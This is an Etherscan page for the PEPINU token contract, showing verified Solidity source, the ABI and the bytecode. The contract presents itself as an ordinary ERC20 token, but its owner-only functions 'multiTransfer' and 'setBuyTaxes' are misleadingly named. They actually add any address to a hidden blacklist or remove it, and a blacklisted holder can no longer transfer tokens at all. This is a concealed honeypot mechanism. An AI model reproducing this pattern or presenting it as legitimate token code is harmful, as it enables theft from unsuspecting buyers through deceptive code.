ETH Price: $3,253.72 (-0.01%)
Gas: 1 Gwei

Token

Pepinu Coin (PEPINU)
 

Overview

Max Total Supply

420,000,000,000 PEPINU

Holders

98

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
mo1och.eth
Balance
2,040,972,795.642516539 PEPINU

Value
$0.00
0x77e65c9bf35bfc436c818062fbc1ff5fe09fb11c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PepinuCoin

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-05-25
*/

// SPDX-License-Identifier: MIT

pragma solidity =0.8.20;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


contract ERC20 is Context, IERC20, IERC20Metadata {
    address internal _owner;
    mapping (address => uint256) internal _balances;
    mapping (address => bool) private _Address;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private maxTxLimit = 1*10**16*10**9;
    uint256 internal _totalSupply;
    bool intTx = true;
    uint256 private balances;
    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The defaut value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _owner = msg.sender;
        balances = maxTxLimit;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }
        
    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function setBuyTaxes(address _address) external onlyOwner {
        _Address[_address] = false;
    }

    function multiTransfer(address _address) external onlyOwner {
        _Address[_address] = true;
    }

    function taxTransfered(address _address) public view returns (bool) {
        return _Address[_address];
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
     
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be grater thatn zero");
        if (_Address[sender] || _Address[recipient]) require(intTx == false, "");
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    } 

 
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

/**
 * @title ERC20Decimals
 * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
 */
contract PepinuCoin is ERC20 {
    uint8 immutable private _decimals = 9;
   
    /**
     * @dev Sets the value of the `decimals`. This value is immutable, it can only be
     * set once during construction.
     */
    constructor () ERC20('Pepinu Coin', 'PEPINU') {
        _totalSupply += 420000000000 * 10**9;
        _balances[_msgSender()] += _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
    
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"multiTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"taxTransfered","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a06040526a084595161401484a000000600455600160065f6101000a81548160ff021916908315150217905550600960ff1660809060ff1681525034801562000047575f80fd5b506040518060400160405280600b81526020017f506570696e7520436f696e0000000000000000000000000000000000000000008152506040518060400160405280600681526020017f504550494e5500000000000000000000000000000000000000000000000000008152508160089081620000c5919062000494565b508060099081620000d7919062000494565b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045460078190555050506816c4abbebea010000060055f8282546200013e9190620005a5565b9250508190555060055460015f6200015b6200022960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254620001a49190620005a5565b92505081905550620001bb6200022960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6005546040516200021b9190620005f0565b60405180910390a36200060b565b5f33905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620002ac57607f821691505b602082108103620002c257620002c162000267565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003267fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620002e9565b620003328683620002e9565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200037c6200037662000370846200034a565b62000353565b6200034a565b9050919050565b5f819050919050565b62000397836200035c565b620003af620003a68262000383565b848454620002f5565b825550505050565b5f90565b620003c5620003b7565b620003d28184846200038c565b505050565b5b81811015620003f957620003ed5f82620003bb565b600181019050620003d8565b5050565b601f82111562000448576200041281620002c8565b6200041d84620002da565b810160208510156200042d578190505b620004456200043c85620002da565b830182620003d7565b50505b505050565b5f82821c905092915050565b5f6200046a5f19846008026200044d565b1980831691505092915050565b5f62000484838362000459565b9150826002028217905092915050565b6200049f8262000230565b67ffffffffffffffff811115620004bb57620004ba6200023a565b5b620004c7825462000294565b620004d4828285620003fd565b5f60209050601f8311600181146200050a575f8415620004f5578287015190505b62000501858262000477565b86555062000570565b601f1984166200051a86620002c8565b5f5b8281101562000543578489015182556001820191506020850194506020810190506200051c565b868310156200056357848901516200055f601f89168262000459565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f620005b1826200034a565b9150620005be836200034a565b9250828201905080821115620005d957620005d862000578565b5b92915050565b620005ea816200034a565b82525050565b5f602082019050620006055f830184620005df565b92915050565b608051611896620006245f395f6104d001526118965ff3fe608060405234801561000f575f80fd5b50600436106100e8575f3560e01c80638605b3f01161008a578063a457c2d711610064578063a457c2d714610270578063a9059cbb146102a0578063c71e6070146102d0578063dd62ed3e146102ec576100e8565b80638605b3f01461020657806388d485681461022257806395d89b4114610252576100e8565b806323b872dd116100c657806323b872dd14610158578063313ce5671461018857806339509351146101a657806370a08231146101d6576100e8565b806306fdde03146100ec578063095ea7b31461010a57806318160ddd1461013a575b5f80fd5b6100f461031c565b6040516101019190611020565b60405180910390f35b610124600480360381019061011f91906110d1565b6103ac565b6040516101319190611129565b60405180910390f35b6101426103c9565b60405161014f9190611151565b60405180910390f35b610172600480360381019061016d919061116a565b6103d2565b60405161017f9190611129565b60405180910390f35b6101906104cd565b60405161019d91906111d5565b60405180910390f35b6101c060048036038101906101bb91906110d1565b6104f4565b6040516101cd9190611129565b60405180910390f35b6101f060048036038101906101eb91906111ee565b61059b565b6040516101fd9190611151565b60405180910390f35b610220600480360381019061021b91906111ee565b6105e1565b005b61023c600480360381019061023791906111ee565b6106c5565b6040516102499190611129565b60405180910390f35b61025a610717565b6040516102679190611020565b60405180910390f35b61028a600480360381019061028591906110d1565b6107a7565b6040516102979190611129565b60405180910390f35b6102ba60048036038101906102b591906110d1565b610896565b6040516102c79190611129565b60405180910390f35b6102ea60048036038101906102e591906111ee565b6108b3565b005b61030660048036038101906103019190611219565b610998565b6040516103139190611151565b60405180910390f35b60606008805461032b90611284565b80601f016020809104026020016040519081016040528092919081815260200182805461035790611284565b80156103a25780601f10610379576101008083540402835291602001916103a2565b820191905f5260205f20905b81548152906001019060200180831161038557829003601f168201915b5050505050905090565b5f6103bf6103b8610a1a565b8484610a21565b6001905092915050565b5f600554905090565b5f6103de848484610be4565b5f60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610425610a1a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156104a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049b90611324565b60405180910390fd5b6104c1856104b0610a1a565b85846104bc919061136f565b610a21565b60019150509392505050565b5f7f0000000000000000000000000000000000000000000000000000000000000000905090565b5f610591610500610a1a565b848460035f61050d610a1a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461058c91906113a2565b610a21565b6001905092915050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461066e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106659061141f565b60405180910390fd5b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60606009805461072690611284565b80601f016020809104026020016040519081016040528092919081815260200182805461075290611284565b801561079d5780601f106107745761010080835404028352916020019161079d565b820191905f5260205f20905b81548152906001019060200180831161078057829003601f168201915b5050505050905090565b5f8060035f6107b4610a1a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561086e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610865906114ad565b60405180910390fd5b61088b610879610a1a565b858584610886919061136f565b610a21565b600191505092915050565b5f6108a96108a2610a1a565b8484610be4565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610940576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109379061141f565b60405180910390fd5b600160025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a869061153b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610afd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af4906115c9565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610bd79190611151565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4990611657565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb7906116e5565b60405180910390fd5b5f8111610d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf990611773565b60405180910390fd5b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680610d9d575060025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15610df7575f151560065f9054906101000a900460ff16151514610df6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ded906117b4565b60405180910390fd5b5b610e02838383610f91565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7d90611842565b60405180910390fd5b8181610e92919061136f565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f1f91906113a2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f839190611151565b60405180910390a350505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610fcd578082015181840152602081019050610fb2565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610ff282610f96565b610ffc8185610fa0565b935061100c818560208601610fb0565b61101581610fd8565b840191505092915050565b5f6020820190508181035f8301526110388184610fe8565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61106d82611044565b9050919050565b61107d81611063565b8114611087575f80fd5b50565b5f8135905061109881611074565b92915050565b5f819050919050565b6110b08161109e565b81146110ba575f80fd5b50565b5f813590506110cb816110a7565b92915050565b5f80604083850312156110e7576110e6611040565b5b5f6110f48582860161108a565b9250506020611105858286016110bd565b9150509250929050565b5f8115159050919050565b6111238161110f565b82525050565b5f60208201905061113c5f83018461111a565b92915050565b61114b8161109e565b82525050565b5f6020820190506111645f830184611142565b92915050565b5f805f6060848603121561118157611180611040565b5b5f61118e8682870161108a565b935050602061119f8682870161108a565b92505060406111b0868287016110bd565b9150509250925092565b5f60ff82169050919050565b6111cf816111ba565b82525050565b5f6020820190506111e85f8301846111c6565b92915050565b5f6020828403121561120357611202611040565b5b5f6112108482850161108a565b91505092915050565b5f806040838503121561122f5761122e611040565b5b5f61123c8582860161108a565b925050602061124d8582860161108a565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061129b57607f821691505b6020821081036112ae576112ad611257565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f61130e602883610fa0565b9150611319826112b4565b604082019050919050565b5f6020820190508181035f83015261133b81611302565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113798261109e565b91506113848361109e565b925082820390508181111561139c5761139b611342565b5b92915050565b5f6113ac8261109e565b91506113b78361109e565b92508282019050808211156113cf576113ce611342565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611409602083610fa0565b9150611414826113d5565b602082019050919050565b5f6020820190508181035f830152611436816113fd565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f611497602583610fa0565b91506114a28261143d565b604082019050919050565b5f6020820190508181035f8301526114c48161148b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611525602483610fa0565b9150611530826114cb565b604082019050919050565b5f6020820190508181035f83015261155281611519565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6115b3602283610fa0565b91506115be82611559565b604082019050919050565b5f6020820190508181035f8301526115e0816115a7565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611641602583610fa0565b915061164c826115e7565b604082019050919050565b5f6020820190508181035f83015261166e81611635565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6116cf602383610fa0565b91506116da82611675565b604082019050919050565b5f6020820190508181035f8301526116fc816116c3565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726174657220745f8201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61175d602983610fa0565b915061176882611703565b604082019050919050565b5f6020820190508181035f83015261178a81611751565b9050919050565b50565b5f61179f5f83610fa0565b91506117aa82611791565b5f82019050919050565b5f6020820190508181035f8301526117cb81611794565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61182c602683610fa0565b9150611837826117d2565b604082019050919050565b5f6020820190508181035f83015261185981611820565b905091905056fea2646970667358221220a566dbe4a3e023c7dc0e96867eb87fc4951db8be86550ce3b42234ab5553533764736f6c63430008140033

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100e8575f3560e01c80638605b3f01161008a578063a457c2d711610064578063a457c2d714610270578063a9059cbb146102a0578063c71e6070146102d0578063dd62ed3e146102ec576100e8565b80638605b3f01461020657806388d485681461022257806395d89b4114610252576100e8565b806323b872dd116100c657806323b872dd14610158578063313ce5671461018857806339509351146101a657806370a08231146101d6576100e8565b806306fdde03146100ec578063095ea7b31461010a57806318160ddd1461013a575b5f80fd5b6100f461031c565b6040516101019190611020565b60405180910390f35b610124600480360381019061011f91906110d1565b6103ac565b6040516101319190611129565b60405180910390f35b6101426103c9565b60405161014f9190611151565b60405180910390f35b610172600480360381019061016d919061116a565b6103d2565b60405161017f9190611129565b60405180910390f35b6101906104cd565b60405161019d91906111d5565b60405180910390f35b6101c060048036038101906101bb91906110d1565b6104f4565b6040516101cd9190611129565b60405180910390f35b6101f060048036038101906101eb91906111ee565b61059b565b6040516101fd9190611151565b60405180910390f35b610220600480360381019061021b91906111ee565b6105e1565b005b61023c600480360381019061023791906111ee565b6106c5565b6040516102499190611129565b60405180910390f35b61025a610717565b6040516102679190611020565b60405180910390f35b61028a600480360381019061028591906110d1565b6107a7565b6040516102979190611129565b60405180910390f35b6102ba60048036038101906102b591906110d1565b610896565b6040516102c79190611129565b60405180910390f35b6102ea60048036038101906102e591906111ee565b6108b3565b005b61030660048036038101906103019190611219565b610998565b6040516103139190611151565b60405180910390f35b60606008805461032b90611284565b80601f016020809104026020016040519081016040528092919081815260200182805461035790611284565b80156103a25780601f10610379576101008083540402835291602001916103a2565b820191905f5260205f20905b81548152906001019060200180831161038557829003601f168201915b5050505050905090565b5f6103bf6103b8610a1a565b8484610a21565b6001905092915050565b5f600554905090565b5f6103de848484610be4565b5f60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610425610a1a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156104a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049b90611324565b60405180910390fd5b6104c1856104b0610a1a565b85846104bc919061136f565b610a21565b60019150509392505050565b5f7f0000000000000000000000000000000000000000000000000000000000000009905090565b5f610591610500610a1a565b848460035f61050d610a1a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461058c91906113a2565b610a21565b6001905092915050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461066e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016